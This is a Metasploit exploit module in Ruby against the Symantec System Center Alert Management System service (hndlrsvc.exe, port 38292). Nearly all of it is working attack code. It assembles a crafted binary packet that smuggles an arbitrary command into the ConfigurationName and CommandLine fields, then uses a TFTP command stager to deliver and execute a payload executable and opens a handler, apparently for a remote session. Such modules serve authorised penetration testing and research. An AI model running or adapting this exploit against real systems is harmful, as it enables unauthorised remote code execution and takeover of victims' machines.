##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution',
      'Description'    => %q{
          Symantec System Center Alert Management System is prone to a
        remote command-injection vulnerability because the application fails
        to properly sanitize user-supplied input.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '66807'],
          [ 'BID', '41959' ],
          [ 'URL', 'http://www.foofus.net/~spider/code/AMS2_072610.txt' ],
        ],
      'Targets'       =>
        [
          [ 'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ]
        ],
      'Privileged' => true,
      'Platform' => 'win',
      'CmdStagerFlavor' => 'tftp',
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jul 26 2010'))

    register_options(
      [
        Opt::RPORT(38292),
        OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
      ], self.class)
  end

  def windows_stager
    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
    execute_cmdstager({ :temp => '.' })
    @payload_exe = generate_payload_exe

    print_status("Attempting to execute the payload...")
    execute_command(@payload_exe)

  end

  def execute_command(cmd, opts = {})

    connect

    if ( cmd.length > 128 )
      fail_with(Failure::Unknown, "Command strings greater then 128 characters will not be processed!")
    end

    string_uno  = Rex::Text.rand_text_alpha_upper(11)
    string_dos  = Rex::Text.rand_text_alpha_upper(rand(4) + 5)

    packet =  "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00"
    packet << "\x02\x00\x95\x94\xc0\xa8\x02\x64\x00\x00\x00\x00\x00\x00\x00\x00"
    packet << "\xe8\x03\x00\x00"
    packet << 'PRGXCNFG'
    packet << "\x10\x00\x00\x00"
    packet << "\x00\x00\x00\x00\x04"
    packet << 'ALHD\F'
    packet << "\x00\x00\x01\x00\x00"
    packet << "\x00\x01\x00\x0e\x00"
    packet << 'Risk Repaired'
    packet << "\x00\x25\x00"
    packet << 'Symantec Antivirus Corporate Edition'
    packet << "\x00\xf9\x1d\x13\x4a\x3f"
    packet << [string_uno.length + 1].pack('v') + string_uno
    packet << "\x00\x08\x08\x0a"
    packet << "\x00" + 'Risk Name'
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
    packet << "\x00" + string_dos
    packet << "\x00\x08\x0a\x00"
    packet << 'File Path'
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
    packet << "\x00" + string_dos
    packet << "\x00\x08\x11\x00"
    packet << 'Requested Action'
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
    packet << "\x00" + string_dos
    packet << "\x00\x08\x0e\x00"
    packet << 'Actual Action'
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
    packet << "\x00" + string_dos
    packet << "\x00\x08\x07\x00"
    packet << 'Logger'
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
    packet << "\x00" + string_dos
    packet << "\x00\x08\x05\x00"
    packet << 'User'
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
    packet << "\x00" + string_dos
    packet << "\x00\x08\x09\x00"
    packet << 'Hostname'
    packet << "\x00\x0e\x00" + [string_uno.length + 1].pack('v') + string_uno
    packet << "\x00\x08\x13\x00"
    packet << 'Corrective Actions'
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
    packet << "\x00" + string_dos
    packet << "\x00\x00\x07\x08\x12\x00"
    packet << 'ConfigurationName'
    packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
    packet << "\x00" + cmd
    packet << "\x00\x08\x0c\x00"
    packet << 'CommandLine'
    packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
    packet << "\x00" + cmd
    packet << "\x00\x08\x08\x00"
    packet << 'RunArgs'
    packet << "\x00\x04\x00\x02\x00"
    packet << "\x20\x00\x03\x05\x00"
    packet << 'Mode'
    packet << "\x00\x04\x00\x02\x00\x00\x00"
    packet << "\x0a\x0d\x00"
    packet << 'FormatString'
    packet << "\x00\x02\x00\x00\x00\x08\x12\x00"
    packet << 'ConfigurationName'
    packet << "\x00\x02\x00\x00\x00\x08\x0c\x00"
    packet << 'HandlerHost'
    packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
    packet << "\x00" + string_dos
    packet << "\x00" * packet.length

    sock.put(packet)

    select(nil,nil,nil,3)
    disconnect
  end

  def exploit

    unless datastore['CMD'].blank?
      print_status("Executing command '#{datastore['CMD']}'")
      execute_command(datastore['CMD'])
      return
    end

    case target['Platform']
      when 'win'
        windows_stager
      else
        fail_with(Failure::Unknown, 'Target not supported.')
    end

    handler

  end
end
